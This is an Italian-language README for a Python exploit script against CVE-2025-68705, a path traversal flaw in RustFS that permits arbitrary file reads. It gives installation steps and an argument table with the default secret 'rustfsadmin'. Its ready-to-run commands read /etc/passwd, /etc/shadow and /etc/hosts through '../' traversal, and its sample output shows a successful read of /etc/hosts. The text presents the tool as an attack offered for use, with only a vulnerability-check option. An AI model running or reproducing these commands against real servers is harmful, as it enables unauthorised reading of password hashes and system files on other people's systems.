
Script Python di exploit per CVE-2025-68705, una vulnerabilità di path traversal in RustFS, che consente la lettura arbitraria di file e la verifica della vulnerabilità sui server target.
Questo script sfrutta una vulnerabilità di path traversal (CVE-2025-68705) in RustFS che consente di leggere file arbitrari sul server.
requirements.txt per le dipendenzegit clone https://github.com/yourusername/CVE-2025-68705.git
cd CVE-2025-68705
pip install -r requirements.txt
python exp.py -H <host> -p <port> -f <file_path> [-s <secret>]
| Argomento | Descrizione |
|---|---|
-H, --host | IP o hostname del host target |
-p, --port | Numero di porta del target |
-f, --file | Percorso del file da leggere (opzionale con --check-only) |
| Argomento | Descrizione | Default |
|---|---|---|
-s, --secret | Chiave segreta per la firma | rustfsadmin |
-o, --offset | Offset di lettura del file | 0 |
-l, --length | Numero di byte da leggere | 4096 |
--check-only | Verifica solo se il target è vulnerabile | - |
python exp.py -H 192.168.1.128 -p 9000 -f /etc/passwd
python exp.py -H 192.168.1.128 -p 9000 -f /etc/shadow -o 0 -l 1024
python exp.py -H 192.168.1.128 -p 9000 -f /etc/hosts -s customsecret
python exp.py -H 192.168.1.128 -p 9000 --check-only
python exp.py -H 192.168.1.128 -p 9000 -f /etc/passwd -o 100 -l 200
python ./exp.py -H 192.168.1.128 -p 19010 -f ../../../../etc/hosts -o 0 -l 100
[*] Target: 192.168.1.128:19010
[*] Secret: rustfsadmin
--------------------------------------------------
[*] Checking for CVE-2025-68705 vulnerability...
[*] Exploiting CVE-2025-68705 against 192.168.1.128:19010
[*] Reading file: ../../../../etc/passwd
[+] Target is VULNERABLE!
--------------------------------------------------
[*] Exploiting CVE-2025-68705 against 192.168.1.128:19010
[*] Reading file: ../../../../../../../../etc/hosts
[+] Successfully read file!
[+] File content (offset=0, length=100):
--------------------------------------------------
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastp
Questo progetto è concesso in licenza secondo i termini della MIT License - vedere il file LICENSE per i dettagli.